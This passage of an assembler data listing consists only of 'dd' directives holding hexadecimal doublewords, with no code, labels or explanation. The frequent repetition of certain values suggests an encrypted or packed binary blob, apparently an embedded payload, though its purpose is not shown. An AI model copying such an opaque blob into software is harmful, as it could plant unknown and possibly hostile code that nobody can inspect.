0DD78CD3Bh, 927867E9h dd 0A9CB00E9h, 0D9FDD72Fh, 0ABAB197Dh, 0B8D27968h, 91F984F4h dd 202F00E9h, 0A2C47E42h, 91C2255Eh, 0BAFCA9E9h, 0F1C300E9h dd 36A5F14Ah, 0EE2AEE32h, 927CFCF4h, 2CA300E9h, 2C1E56B6h dd 923EA998h, 0CC300E9h, 0F1C7516Eh, 0A25B17F9h, 86C300E9h dd 2A19EA50h, 0F2B64078h, 4E6C7913h, 9A721050h, 91C300F0h dd 0A930A028h, 12DD151Ah, 5580893h, 0F2F8EFA1h, 927B67E6h dd 6CEB00E9h, 0DA7A3C2Eh, 76704170h, 0A3D46666h, 0A2A300E9h dd 91C30D73h, 949380E9h, 91C705F4h, 52A500E9h, 36A56A0Fh dd 0FFA404AAh, 0A2A5686Dh, 91C30E5Dh, 0F2FB63E9h, 91C767E6h dd 0F43700E9h, 309EE411h, 0AD8B67D0h, 0A25E00E9h, 48C300E9h dd 0F483FC0Fh, 0C0C2D12Eh, 5CBDF17Dh, 47601FEFh, 4C7D04AAh dd 91C300DBh, 91C285D2h, 0C348B1E9h, 0DADA39BEh, 0D1374D8Dh dd 0F1BFD970h, 91C2B4D2h, 2403D8E9h, 0BA80CFA6h, 0BE26514Fh dd 0D1655568h, 4F02B5B4h, 4A2E0D1h, 91C284F2h, 0E6A600E9h dd 397D18A4h, 91C2FB1Ch, 0F3110CC2h, 91C285CFh, 3ABF6FE9h dd 52B80FEAh, 6FBDA163h, 91C287D2h, 34CCB7E9h, 0BC99C7EFh dd 0A2A4C9DFh, 91C41168h, 537CE0E9h, 0E09BEC0h, 0A2C7C16Eh dd 91C27F73h, 91BE67E9h, 0E9200E9h, 0FC897492h, 2E8AD2F4h dd 89ABD4Bh, 36A3E0DBh, 8BECB028h, 927B094Ah, 0E40D00E9h dd 772891F8h, 0AEA1818Eh, 2CA2B48Eh, 3D45FD1Ah, 79F4A9F3h dd 0B710074Bh, 61BCC049h, 0B45BBCFEh, 0DC300E9h, 67FE36D2h dd 0B42A5DF0h, 729E5963h, 0E96E2ED1h, 158C7B2Eh, 9B98EFA3h dd 62F8C849h, 0AF5AEFA3h, 19C300E9h, 0E456DF83h, 8D25DA5h dd 8243E536h, 629C5FCAh, 0A740EB79h, 0B9FBA9DEh, 0A2C300E9h dd 91C30E6Bh, 1BA2E0E9h, 91F867C0h, 34C000E9h, 91C300E8h dd 0AF0805C2h, 91C285D2h, 0A21996E9h, 0D90603DBh, 4763BD7Bh dd 0F1BFD96Eh, 91C2B4CFh, 4FCDFBE9h, 2A84A57Eh, 0EA28958h dd 88B22847h, 62D4333Dh, 0D6A60C91h, 0B45B04A4h, 9FC300E9h dd 5F339EB8h, 9519760Bh, 2AB747F1h, 9789A1CCh, 0B5FBA981h dd 0A2C300E9h, 91C41270h, 92FDA9E9h, 2EC300E9h, 357D13CEh dd 91C300F3h, 91C0FCF4h, 0CA300E9h, 0DCE606E6h, 0A2A28796h dd 34BFFDFCh, 91C300E6h, 0D94074Bh, 0AED28066h, 91C793F4h dd 0B55E00E9h, 0AAC300E9h, 0BFB998E2h, 990A2C48h, 91C767AAh dd 35F00E9h, 5E99A42Ch, 0A68A9C00h, 0ACC2EC72h, 91C192F4h dd 6A3A00E9h, 932FF9C3h, 91C8D7B5h, 39C000E9h, 91C300D8h dd 91C27CD2h, 13E650E9h, 7E4F21F0h, 0C8D63EEEh, 927E094Bh dd 0B1BD00E9h, 0AA8B2C35h, 9EB0617Ch, 495E1610h, 952FF9BEh dd 91C300D7h, 0D381921Dh, 6E28460Eh, 95AE58Ch, 25FC5D69h dd 0F1A18A33h, 898CCC4Ch, 91C3ABD2h, 0B80327E9h, 399BB0F5h dd 0A83F5h, 74A2EB7Fh, 91C829F4h, 2EC000E9h, 91C300CFh dd 91C3A9D2h, 0ACA45AE9h, 49B58C09h, 7ACF61A1h, 0DC025F36h dd 0A5C3AB27h, 91C193F4h, 93A00E9h, 91CA094Bh, 6D0300E9h dd 0C9BD109h, 0BA5D5C6Eh, 36C300E9h, 8A1C0CFBh, 1F8FC286h dd 0F32B171Fh, 91C607F1h, 9B2E00E9h, 91C300E9h, 0E588F9Fh dd 957AEED0h, 91C300DEh, 0E0246436h, 0BA40B033h, 0A2C300E9h dd 91C30E67h, 36A2E0E9h, 51ADE01h, 36A5E0F0h, 6EF8F523h dd 0A93A9F4Bh, 91C3B0D2h, 0BD6C18E9h, 4D769BC1h, 0B7B0589Eh dd 1E8D0892h, 926B8462h, 9F4784F4h, 0BA5E00E9h, 55C300E9h dd 5BE4010h, 36ADA9C9h, 2CA5E0EAh, 655C0DB6h, 0CB5C3DA4h dd 0B5B9FB4Ah, 0B9BA002Eh, 927784F4h, 0A05E00E9h, 75C300E9h dd 4E321D4Fh, 94A3F0CEh, 91C300D8h, 0FD34A71Fh, 0A5FDD0CCh dd 7E6D4763h, 1223D4C4h, 0D8FB293h, 91C2CAD3h, 7042E0E9h dd 0CC1000AAh, 91C2FCF4h, 0B6A600E9h, 0F746B029h, 94C300E9h dd 91C300ECh, 0F1EDBD0Eh, 36FC3CABh, 477CE0EAh, 91C300EBh dd 4F35C04Bh, 927E0948h, 351000E9h, 54D2CC82h, 94B81B8Fh dd 91C30090h, 927A8DF4h, 35C000E9h, 91C300E9h, 7B40F149h dd 0C5E0CCEh, 0F22FF9C2h, 91C684F1h, 64A500E9h, 0A40FCADFh dd 91C30071h, 34A2F7E9h, 942B0CACh, 94A27CAEh, 91C300F2h dd 0C523606Ah, 0E2F6760Bh, 4AFDB693h, 0B2A72EB4h, 28E2C7AAh dd 2A16BE2Ah, 0A8E6D531h, 456420FDh, 266D2E19h, 0CFD7ADDh dd 0CF9A3F76h, 2D73C7AAh, 4E8F87AFh, 0B293C739h, 0B34B55B5h dd 4090C7AAh, 0B293C7AAh, 452BB80Ah, 0C393C7AAh, 0B2934F2Bh dd 0D51870AAh, 0B593C7AAh, 0B293C7A7h, 62E39DD8h, 0A9E1CB8Eh dd 0E864706Eh, 0C7DACC74h, 0D8C9BF0Ah, 0B606C30Ah, 0B293C7B0h dd 56C8CDBh, 7F235603h, 2D759419h, 454DD841h, 0B293D569h dd 0B2A658B5h, 4090C7AAh, 0B293C7B3h, 0B2934D93h, 0C45F1FAAh dd 3E9090C9h, 0B4D1F507h, 0C40AD35Fh, 0B294DA1Fh, 6D4DA7AAh dd 0B293C7ACh, 0CE7C560Bh dd 1D1870AAh, 0C393C7ABh, 0B2934E1Eh, 0B2982EAAh, 34CAC7AAh dd 0F6EFBB81h, 0D67C5607h, 0F91870AAh, 0C693C7AAh, 0B2935793h dd 0D51270AAh, 0B593C7AAh, 0B293C7A7h, 775B306Ch, 0F93034B8h dd 0B590E68Eh, 0B4FFEF64h, 5990C085h, 0B293C7B2h, 0B294DA93h dd 59EE96AAh, 0D9BE0AA6h, 1293C7AAh, 0BBEF322Ch, 0B293C7B5h dd 86E6C2DFh, 0BE92101Bh, 2ABE0DB8h, 0C43D083Bh, 0B293C21Fh dd 0BF73BEAAh, 0B2952DD1h, 0B618C7AAh, 8C700C93h, 0B4FC9192h dd 9876A785h, 21E10C97h, 27ABA8C1h, 0C27C5609h, 3618709Fh dd 0B593C7ACh, 0B293C7A6h, 25BD6FBAh, 0DE3A3461h, 6FCC7469h dd 0C0A34727h, 0B2B05AB5h, 130AC7AAh, 4C737C4h, 98329E3Dh dd 0D727BD4h, 0B2947294h, 6BF25EAAh, 0F8EF434Eh, 7385DD66h dd 68FB5E75h, 68FBCB6Bh, 0C42A4363h, 8493C7AAh, 0A581E634h dd 9D0EB683h, 860727D3h, 9A2EC398h, 0B593C7ABh, 0B293C7B2h dd 78FE8A77h, 5FC87D70h, 0B598182Fh, 0B293C7ACh, 0FF74BDA9h dd 0BA74B643h, 0B293C7B4h, 0EB4D6EB8h, 9B79CEC8h, 0A4B782DCh dd 0D72E3B82h, 6A93C7AAh, 0A056B888h, 0B8B57352h, 2B106373h dd 0B294DA94h, 0E9488FAAh, 0A5B97CB3h, 278982FFh, 0D7E0CE09h dd 0B3E82E82h, 5790C7AAh, 0B293C7A9h, 0CFD8C3EFh, 0D7E0CC82h dd 2D748F0Ah, 0BDC9B962h, 0CFDD6E0Bh, 0B34BC3B5h, 5990C7AAh dd 0B293C7AAh, 4000B80Ah, 4007DA8Fh, 0C3904503h, 0B294621Fh dd 0B28F2EAAh, 0E59CC7AAh, 492F4BEEh, 30BFDBB0h, 0C4D62321h dd 0B294DF2Dh, 0C50F70AAh, 1293C7AAh, 0C45B6E09h, 0B2934C2Dh dd 0B2952EAAh, 7809C7AAh, 556CC9CCh, 0CD93B331h, 9DBD720Ah dd 0B2934C93h, 87F060AAh, 48400835h, 1E312B5Ch, 0B4FF9D09h dd 0C32EC085h, 8E93C7AAh, 9F98BCC2h, 0B9337225h, 0ACEC5969h dd 85B75FCCh, 0B293C7A0h, 13EC2483h, 2E0DE8B3h, 0B4FF6591h dd 0FBC2A785h, 2E5BCE0Ch, 0C4FBB684h, 0B2934E1Eh, 4D76A7AAh dd 741D0C7Bh, 0FB408A8Eh, 1273300Bh, 0C4F0962Ch, 0B293C733h dd 0C42BB6AAh, 4293C7AAh, 0A32D48CDh, 256B2995h, 0E8F93C28h dd 84763CD2h, 4090C7B3h, 0B293C74Bh, 0B34C2D0Ah, 0CEEEC7AAh dd 2769DC2Bh, 0FFB3FFFFh, 0C42BBDF8h, 9193C7AAh, 6029FB3h dd 0E5A567FBh, 5B1EA412h, 29763550h, 4F90C10Ch, 0B293C7ACh dd 0C6EFCE0Bh, 0CAFE8B29h, 99C3B50Ah, 2DC03D2Bh, 0B64C1A2Fh dd 0B293C79Bh, 9F524F5Eh, 4BD70BADh, 2C08D543h, 0A6D47A3Ch dd 0D7D71C4Ch, 0B2AA55B5h, 0C12EC7AAh, 7093C7AAh, 0EE53B7E7h dd 0C3D713D7h, 0B3E658B5h, 8A73C7AAh, 3CC7A241h, 0B294D991h dd 0BDFE59AAh, 2E1A9E33h, 0B30019EBh, 1293C7AAh, 0D631930Eh dd 0B3E8D00Bh, 4D90C7AAh, 0B293C7A8h, 0B294F2B5h, 5B90C7AAh dd 0B293C7ACh, 0B29ECCB5h, 5A90C7AAh, 0B293C797h, 0B2947193h dd 8F2464AAh, 4A7E0525h, 0B126F67h, 9CF1F551h, 0B296D360h dd 0B6FFC7AAh, 0B293C7A3h, 0B2937B93h, 7699D3AAh, 0F38033AEh dd 35C3CE29h, 0DF96CE0Ah, 0B975C0D6h, 454DB5BAh, 0B293C7A9h dd 0C7DAC3EFh, 0B3485FB5h, 3273C7AAh, 6D4D1A77h, 0B293C7ACh dd 5590300Bh, 0B293C7B4h, 0B291CDB5h, 2D73C7AAh, 0B295F0B3h dd 85FFC7AAh, 0DE2EC7A7h, 1893C7AAh, 8119E43Dh, 26EA7A1Ch dd 0B74BE1A6h, 1EA7E4B2h, 0DA2B8A81h, 0A993C7AAh, 885983CEh dd 4D76B50Dh, 68526477h, 0C374B67Ah, 0B293C226h, 3B2C47AAh dd 0B6C9B809h, 0C813BF0Ah, 0D52ECD41h, 9393C7AAh, 4D624669h dd 0A8E4AF4Ch, 0B984799Eh, 2DABB5E0h, 8F11B666h, 0DBCD7077h dd 0C393C7AAh, 0B293D51Eh, 12732FAAh, 4F4D18BEh, 0B293C79Eh dd 0B2934693h, 7C8FBAAAh, 60A3670Ah, 8D630D11h, 381D161Ah dd 0BA7609E6h, 0B293C7AAh, 0F3295660h, 134BB595h, 2B983829h dd 744D76A2h, 334DB5F1h, 0B293C79Dh, 0B2947793h, 5A043AAh dd 1912942Ch, 894C7659h, 83FDEC1Ch, 0B2A62DEFh, 0AE1EC7AAh dd 0DCF228C2h, 6FDD396Dh, 0FBDB96B1h, 0F0340B5Eh, 0B844DDF3h dd 0C1CA7082h, 1293C7AAh, 6F1BC9C1h, 0B2CD7097h, 2D93C7AAh dd 0B600A231h, 0B293C7B5h, 0B8B3C162h, 3923CBA6h, 43FC4505h dd 684F6CBCh, 25EBA5C2h, 8A76A7B1h, 738FFABCh, 0F411B685h dd 431870AAh, 0C993C7AAh, 0B2934593h, 0DCAE2FAAh, 2CD8700Bh dd 2BBE24DBh, 355206FAh, 4FBDB489h, 5990C043h, 0B293C74Bh dd 8113A776h, 230B2130h, 2DB0272Ch, 0CAA69F27h, 0B4FF9693h dd 0E8127085h, 1293C7AAh, 855D800Eh, 0E202580Dh, 40FBB810h dd 0C394D903h, 0B294891Eh, 9C76A7AAh, 0DB2BAE32h, 0FA93C7AAh dd 6CEF0BF6h, 2E49E893h, 2E5FC30Ch, 0B28F4727h, 0B3474BB5h dd 5990C7AAh, 0B293C790h, 0B2947093h, 0D8024BAAh, 749F3A40h dd 0DC4E5929h, 0BFFB9E0Dh, 0B2948D93h, 0D72CA7AAh, 1793C7AAh dd 46EA1F88h, 0CE210147h, 0CAAEA971h, 1AFDB665h, 0D7117077h dd 0C393C7AAh, 0B294DC1Eh, 0B2C970AAh, 4F93C7AAh, 207346EBh dd 21EBD7C4h, 4B3F9429h, 0B36BD009h, 4190C085h, 0B293C7ABh dd 0B296C3B5h, 40FFC7AAh, 0C3964503h, 0B2935A1Eh, 0C22CA7AAh dd 4093C7AAh, 6ADE000Eh, 47C7EA81h, 3439EE2Ah, 0B2982E63h dd 1E51C7AAh, 1EF89EAFh, 3411B5D7h, 5A4DD99Ch, 0B293C72Eh dd 0B28F47B5h, 0C373C7AAh, 0B293C226h, 0F2BDB9AAh, 0CBD3B660h dd 0B2947293h, 6D1573AAh, 2D2127B2h, 80E2E2BCh, 1BC9B1ECh dd 0ED14709Fh, 1293C7AAh, 5580Eh, 0D8C9B975h, 0D7E0CE0Bh dd 0B2A3D00Ah, 46ACC7AAh, 0E7CCAC3Bh, 6FFA6D42h, 7547337Dh dd 68E328B1h, 0B573A0EFh, 0B293C2C9h, 0CFD8CC82h, 0D7E0C3EFh dd 4D76A782h, 0B64A07EFh, 0B293C7B5h, 8D85302h, 599BFCDh dd 0C6EB8044h, 2E189079h, 0B294BA91h, 1BCC2FAAh, 83C9A79Fh dd 0B2934C93h, 7C1162AAh, 74E9BF3h, 11FFF946h, 0D7E0CE09h dd 0CFDD63EFh, 0B2934593h, 0D4C4F1AAh, 8373392Bh, 12B90CD8h dd 69916D57h, 40420828h, 0E82BDA8Fh, 0AC93C7AAh, 16F60F70h dd 0B3C0E0C5h, 3411AEE8h, 5990D49Ch, 0B293C79Ah, 0B34A55B5h dd 273C7AAh, 2E6E9D63h, 0C573DFA4h, 0A56C2F6Bh, 0B2947193h dd 24A106AAh, 7C3F948Eh, 0B07DFB2Fh, 560F8753h, 0C996D658h dd 0B400C7C2h, 0D3C97085h, 1293C7AAh, 22622629h, 0D52A53B7h dd 9E93C7AAh, 0E781EC49h, 0DE713A25h, 2D1B5CFFh, 0DCF998B6h dd 0D9BBB635h, 1293C7AAh, 0B2934491h, 0EAC833AAh, 0D103ED80h dd 559DC309h, 8EA921EDh, 0F82B853h, 0C374B684h, 0B293D531h dd 3273A7AAh, 0BF75E7E3h, 0D02BA2D1h, 1F93C7AAh, 0AC7452E4h dd 0D244512Bh, 0C1E79250h, 0B413CD9Fh, 0BFC97D2Ah, 0B1ABD00Bh dd 2EFFC085h, 9C13BF0Ch, 5773AE5Fh, 0C373D36Dh, 0B294D934h dd 415956AAh, 7130EDAEh, 130BB5B7h, 0B604E8B3h, 0B293C799h dd 869FAD0Fh, 3DC5574h, 0B8DE35F4h, 0B05707BBh, 2E1F3FC1h dd 0CE1377E7h, 0C993C7AAh, 0B2A62E5Ah, 70EDC7AAh, 0AE5A3A85h dd 63CD2B46h, 8603AB3h, 1E5D3F31h, 0B2922D0Ch, 0A8E3C7AAh dd 0B984799Eh, 2DABB5E0h, 0B6503266h, 0B293C7B0h, 0AC468B9h dd 59E4DB93h, 1EDDC43Fh, 386480B3h, 444D8609h, 0B293C7A7h dd 0BA76C00Ah, 0B293C7AAh, 0B7295660h, 0B64BB578h, 0B293C7A6h dd 182E00AEh, 36CE6CCAh, 600E964Ch, 0B2934391h, 845DAEAAh dd 0F3231161h, 2A3A830Fh, 0ECCC77DDh, 1293C7AAh, 0B293CDB3h dd 0CDC3C7AAh, 0D618F40Bh, 0B64BB8D0h, 0B293C7B4h, 0B675FBCFh dd 0E20FA70Fh, 836FAA44h dd 0C372E703h, 0B293D431h, 0B8C9B9AAh, 2EBCB682h, 1293C7ACh dd 0B292F1B3h, 0BA76C7AAh, 0B294D926h, 0B2924BB5h, 68FEC7AAh dd 744DA7AFh, 2DBC9BDAh, 0BA72963Fh, 0B293C79Bh, 0E9BEB8Ah dd 0F9C02434h, 453E4C2Fh, 0C98FB4EFh, 0B3493AF1h, 63EBC7AAh dd 0CE2D85C6h, 31FA3B35h, 0B573BC63h, 0B293C20Fh, 0CE8CD483h dd 0B2934C93h, 0DCFB88AAh, 60C58D99h, 0C934850Bh, 448F9641h dd 0B293C2EDh, 0B2937B93h, 68FC37AAh, 0ACAAE224h, 0CE8D37A6h dd 4ECBB081h, 81D8A596h, 0C28CD6F9h, 0C4531C82h, 0B2946D28h dd 12EDEAAh, 0C393C7ABh, 0B2946129h, 0EB0F70AAh, 0B593C7AAh dd 0B293C799h, 0A58BC80Ch, 2BD903E4h, 0EC9EE126h, 9E798288h dd 0B5A2C261h, 0B293C222h, 5776B50Ah, 0B34E2DD9h, 0E26AC7AAh dd 2D5B2299h, 2DA0A176h, 0D2085657h, 25A3B886h, 0B285D009h dd 0C973C7AAh, 0C318F40Bh, 0C44BB473h, 0B293D62Ah, 90002FAAh dd 0B2934493h, 812781AAh, 0DC577C9Ah, 4B2274D5h, 0B6BED9BAh dd 0AC63BB67h, 0B2941893h, 0CECE70AAh, 0CA93C7AAh, 0B2A058B5h dd 0E92EC7AAh, 2D93C7AAh, 3E290C76h, 0BD1ECFBBh, 3567A087h dd 0F118F265h, 0C44BB466h, 0B2934F28h, 0AE14A7AAh, 0B2923ABDh dd 0B159C7AAh, 30F57B07h, 9BB1A0D8h, 2BD9D5CBh, 0CA64C209h dd 1EFCA761h, 0B6DBB661h, 0B293C798h, 235C8454h, 4916030Bh dd 616A623Bh, 6C97D95Bh, 0C4DBC02Ch, 0B294DA1Eh, 0C51670AAh dd 1293C7AAh, 0D52D9609h, 0F893C7AAh, 9F938C30h, 221BD130h dd 0EF4232B0h, 4564B2BDh, 0B6FB8A8Ch, 0B293C78Eh, 30138E77h dd 2E14589h, 3F00C912h, 7C806776h, 0CC482ADFh, 7D732331h dd 2EFCB516h, 0B2932D09h, 4ED9C7AAh, 25064592h, 0EBCE70B1h dd 0B593C7AAh, 0B293C799h, 96537B1Fh, 2C525245h, 6939472h dd 6D0BDB1Fh, 0C44048FDh, 0B294D829h, 38E5A7AAh, 2E5DCE0Eh dd 0D510720Ch, 0C393C7AAh, 0B2934333h, 3A982EAAh, 6237633Ah dd 4AD908AAh, 5DEA56BDh, 4C7D1C60h, 3AC67DBCh, 0DA8033Ah dd 0DFA872E5h, 0E57F7BFDh, 3AC5632Dh, 3AC15645h, 6560633Ah dd 72C5633Ah, 0D1127314h, 3BC72363h, 4BCA6AF1h, 3AC6C4AEh dd 585D033Ah, 22C5633Ah, 0BEF1F44Fh, 0AF943471h, 82D1156Bh dd 0A02CDF76h, 0DFA5CD46h, 0DFA5E7FDh, 0CE25F169h, 0A614DA88h dd 4BCABCC1h, 3AC572C3h, 4BA57A3Ah, 3AC678B6h, 3B44D43Ah dd 98C5633Ah, 3AC5FE43h, 0A612633Ah, 4BD6BEBFh, 3AC572C3h dd 9400773Ah, 91FE7A37h, 3ACC8A1Fh, 686633Ah, 0DDB9ACF8h dd 0C5A6D3FBh, 0BFF8D476h, 4DA51CA5h, 6245D383h, 3DC5633Ah dd 3AC5632Ah, 0C0C1017Ah, 59080C9Fh, 0B95F49F2h, 25B61C58h dd 42C6D678h, 3B7AFE45h, 4960633Ah, 14C5633Ah, 0E765987Ch dd 92D03EFh, 9A73CDB0h, 3DA6BC41h, 3AC56340h, 0C67C2464h dd 91D9F1C8h, 5E5DDEC3h, 72C5633Ah, 5A7B52FDh, 0B4A1D0AAh dd 0B7CC0999h, 42305B2Bh, 52DB4E15h, 545CEAE7h, 70C5633Ah dd 3C1338CBh, 0D2434CBDh, 5DA60D27h, 3AC67C23h, 0CF68DF3Ah dd 4CCDF361h, 3AC4FE45h, 3C3C633Ah, 52FBD36Ah, 9AC5633Ah dd 10A81C9Ch, 9AA517ECh, 9B306A9Eh, 3E3E6A9Eh, 3AC5632Ah dd 0D1CAA6B0h, 0A193BE39h, 453C713Dh, 2EFD0E91h, 4C141C9Bh dd 3AC67BAEh, 0C5A8033Ah, 0A6535B22h, 0FFF069C5h, 3DA6D49Ah dd 3AC56343h, 0C4E1D41Dh, 4B666800h, 0AF1B25CFh, 95A507FCh dd 3AC6FE43h, 0C8C2633Ah, 3AC56339h, 4C956413h, 3AC572C0h dd 4C0B8B3Ah, 3AC571B7h, 0CD448E3Ah, 5DA24751h, 3AC86A45h dd 4C3C633Ah, 9AC2A64Dh, 8BFA93BFh, 428D6A99h, 2A803E8h dd 0A6316992h, 3AC5E121h, 4EA8EE3Ah, 179C43F2h, 8BA00C99h dd 5E421C3Ah, 4C517573h, 3AC78ACBh, 622633Ah, 0CCB84F7Ch dd 0C5A803F2h, 0C59B4C6Bh, 75E7BE07h, 7C312E1h, 2D5BFC9Bh dd 0C5AC4ED6h, 0E34D1323h, 0DE2E1C94h, 99D362BAh, 3B7B8A41h dd 3AB7633Ah, 32756B72h, 0CE0794B0h, 4C151199h, 3AC563C2h dd 1D45193Ah, 5EDF7733h, 495F329Bh, 0DFC5633Ah, 0F02BA8D6h dd 0CA7F214Ch, 3AC5633Bh, 0C451B9Ah, 9CA7359Ch, 0E9EF2C9Ch dd 0AE088C4Bh, 0A6876A9Eh, 3AC56324h, 4545193Ah, 5DA38B47h dd 4645D69Ah, 4EC5633Ah, 3AC67C23h, 0E526EA3Ah, 94652AA2h dd 5649D69Ch, 3DC5633Ah, 3AC56336h, 0F384917Eh, 368448E4h dd 4C7CA815h, 0DFA62C7Fh, 3B7F9E82h, 9409633Ah, 0CD9F60E8h dd 0CEA49A3h, 4F5AF634h, 0A60E05E8h, 5D54F1BFh, 0E17EEAE7h dd 3AC56339h, 0A0A3397Fh, 9AA6B17Eh, 0FA0C8AB9h, 0C5A4F78Fh dd 34D0683h, 442D12F0h, 3AC78A1Bh, 0E8B5633Ah, 8DBA4EF2h dd 0BAA61914h, 4BA62D1Dh, 3AC563C3h, 62DF253Ah, 0A5A4EB83h dd 3AC76A43h, 0DFA5633Ah, 0A5A50672h, 3B76BA3Dh, 4BA58B3Ah dd 3AC67DC2h, 9086F23Ah, 4BAF2B45h, 3AC67DB6h, 30451D3Ah dd 71A88C24h, 0BC326415h, 3AD0F043h, 0A8A5633Ah, 586085BFh dd 0F7C5633Ah, 931D70A5h, 2CA0D92Dh, 0F7FB0F13h, 0D7EA3804h dd 0DDA52E75h, 99D362BAh, 5341D441h, 4BC5633Ah, 3AC571C3h dd 0B4A5033Ah, 3AC5E821h, 4B0C873Ah, 5FA8CEADh, 0FC1DC71Eh dd 545D03F4h, 17C5633Ah, 39981857h, 97A5F16Bh, 41A512F6h dd 5200D379h, 9AC5633Ah, 0A6976814h, 616077E9h, 0E5C5633Ah dd 0F52DD3FBh, 361E8CCEh, 81563B8Ah, 535D1F9Ch, 7EC5633Ah dd 0B7E09F64h, 33607401h, 3AC5633Ah, 4B5BF2F0h, 3E7D1113h dd 3AC5631Eh, 0D72B2F9h, 4C7E7692h, 0B74C343Bh, 0EFB71619h dd 63A700F3h, 3AC5E123h, 192FDD3Ah, 5BDFDDF7h, 346A71C5h dd 0C8DF7082h, 0E0804E18h, 0D2C27A84h, 3AC56338h, 3AC7F245h dd 0E4C2633Ah, 3AC5633Ch, 3C30B722h, 3AC18A15h, 7A36633Ah dd 0F144B390h, 5F020D7Bh, 1D7310C8h, 3E81429Ah, 3AC5632Ah dd 3A93DFFBh, 0C3683344h, 1F56DFF0h, 0D277BDFAh, 3E388E99h dd 3AC56345h, 0E6DDF915h, 0C6996197h, 0E48B48FFh, 0E057F9ABh dd 5F5D067Ah, 0C5633Ah, 1181BCC1h, 0C8F4230Fh, 0DF25106h dd 0B827B0BBh, 0AE321799h, 32A43011h, 3AC56329h, 0E307E822h dd 35148EDh, 0AFB65FADh, 30F811FAh, 0A9165C80h, 4CA5ABB9h dd 615D12F5h, 6BC5633Ah, 0CBD5BAB9h, 7B0AAC90h, 730F29E1h dd 4C856812h, 3AC5EDC2h, 3AD88A3Ah, 7D8B633Ah, 0C74C9A0Bh dd 0C2BB7472h, 2AC0AFD2h, 0E00916C5h, 5742D37Ch, 3DC5633Ah dd 3AC56345h, 6611C6EAh, 4916A6DBh, 9538D152h, 0C9E49F69h dd 0ACF010BDh, 4642D441h, 4DC5633Ah, 4C609315h, 7BC5633Ah dd 3BABCC9Eh, 0CEC1041Fh, 0B43B4C89h, 0DFA636D1h, 4B5E0679h dd 73C5633Ah, 2A7AFD6Ch, 0BCEA297Ch, 861B918Ah, 0BB423CD0h dd 0A60E470Ah, 4450FEC5h, 4DA6D498h, 0D1FD1213h, 5E10E75Dh dd 334B5613h, 9B7D1112h, 0AE4240EBh, 3D9D93B9h, 0DDA5CE5Bh dd 99C81ABDh, 3AED8E41h, 3DC5633Ah, 3AC5631Eh, 0C2F17E89h dd 0A31F237Bh, 0F7F262FBh, 0A25BFB48h, 9E947BBDh, 0C6C1233Fh dd 3AC572EFh, 824B387Fh, 997D06C9h, 3AC5E721h, 0EA520E3Ah dd 86F4E061h, 871465D6h, 6B8F1BF2h, 3C2C496Fh, 9A7DEEBFh dd 4A00D441h, 3DC5633Ah, 3AC56342h, 8EDF1623h, 8D11F60Bh dd 3AD9899Bh, 92B2633Ah, 396937Eh, 516BE911h, 5211DA28h dd 3AD53E35h, 565C5BB5h, 0F6C5633Ah, 0D71674B5h, 28EF69Eh dd 721CD7D6h, 0E6DC91C8h, 0C9A519F4h, 9AB7E0BDh, 4649D441h dd 42C5633Ah, 0E0C29315h dd 3AC56331h, 3AC5DF23h, 10CD783Ah, 951C0844h, 8DE593B5h dd 4B4B36FBh, 8C8BE0EDh, 14A62196h, 0B1A6328Eh, 0A6108BECh dd 67CB56C5h, 585CEAE7h, 8DC5633Ah, 33D39FCDh, 56050077h dd 0F0C2711Dh, 4CC03742h, 9B175E0Ch, 416C98B9h, 0CBEF17DFh dd 0A5B152A5h, 0BAA67DA2h, 5E5E2C73h, 9FC5633Ah, 6E3B476Fh dd 1D822AD4h, 3AC5FB45h, 0A60F633Ah, 3AD571A4h, 3B7F8A3Ah dd 0DDDC633Ah, 943DF87Ah, 8D694C3Ch, 0EFB7604Dh, 75074E13h dd 0FBA5EAE7h, 9E71696Ah, 3BA517C0h, 0BB7F066Ah, 3AC5633Ah dd 0BAC293C1h, 3AC5633Eh, 0AA5392BBh, 0DFA52929h, 99CCB155h dd 4BA60341h, 3AC566AEh, 30FB1D3Ah, 8FB1B9Bh, 8EB2729Ch dd 4386F213h, 41C5633Ah, 5B6ABB7Dh, 9AA5633Ah, 2067A0B9h dd 0C9A5D5FFh, 9A7EEDB5h, 47FE8B41h, 3AC5EA23h, 0B576DD3Ah dd 4A78E1B3h, 0FB7EADA0h, 3B17EF46h, 3DA5633Ah, 3AC56329h dd 0EB9857BCh, 119282h, 60DD7251h, 6396DB8Eh, 9ADFF787h dd 0A63097C2h, 4BC56A99h, 3AC5EAB7h, 3ACA8A3Ah, 0D480633Ah dd 9DB2ADE9h, 47066A07h, 3AC5DF23h, 0BDC7043Ah, 0B9182F3h dd 0EC251D4h, 0F3FEABEFh, 0FAFE34BBh, 45FFD351h, 4EC5633Ah dd 68018853h, 0F443563Ah, 0C57D1115h, 485E203Ch, 5AC5633Ah dd 0DE0D30F1h, 0C5CACFE8h, 58CACFF0h, 87C5633Ah, 1A8C30EAh dd 29F46A35h, 0DE7D0642h, 9A7DDAC5h, 8AC60941h, 3AC57024h dd 80EC33Ah, 67096AF3h, 6709F22Eh, 3AC6D72Eh, 816A33Ah dd 84C40BB9h, 0F2F0CA26h, 0D2546AD7h, 147D0633h, 99D329B0h dd 3AA27341h, 95C6093Ah, 3AC57024h, 80DC33Ah, 67016AF4h dd 6709F22Eh, 3AC5DF2Eh, 815B23Ah, 475BF234h, 14024990h dd 99DC79B0h, 3AC56341h, 0C9FB033Ah, 5E11C445h, 56C86E39h dd 3BA4EAE7h, 99CDAABFh, 0A3C60941h, 3AC57024h, 80FC33Ah dd 66B16AF6h, 6709F22Eh, 3AC5EC2Eh, 817BC3Ah, 0E73FB1EDh dd 666B46C1h, 0A8A5EAE7h, 4C769851h, 3AC66FC5h, 0A7EB1D3Ah dd 0E22F1169h, 5E11D1F1h, 331571A0h, 3AC56339h, 0A3832BDAh dd 476AAFC1h, 476AAFBBh, 3AC56331h, 4F8313FAh, 7E3F3140h dd 4C51CEDBh, 3AC570C4h, 4FF7D43Ah, 0E23271A0h, 5E10E149h dd 375D23C1h, 0CB27A63Eh, 0FC48C88h, 63F60C60h, 3BF0F9D0h dd 0D0BA0C9Ah, 63CA6312h, 0CF693EAAh, 51546EC7h, 0BCB37F79h dd 0E788DCD4h, 0F5936762h, 8F6FE2DAh, 3BF0E8E8h, 2E6C6C49h dd 0B8F0F9EFh, 0ED857F66h, 0BCBED1CAh, 38CC1A6Eh, 0BCBE2ABEh dd 38CBF38Eh, 1BE63A60h, 0D163C0D1h, 0D0C47A34h, 0FAEB3D2Bh dd 0F50C00C5h, 0D188DCD1h, 447C7433h, 6ABA0EBDh, 36C12948h dd 0ED8D4B54h, 5706D0CAh, 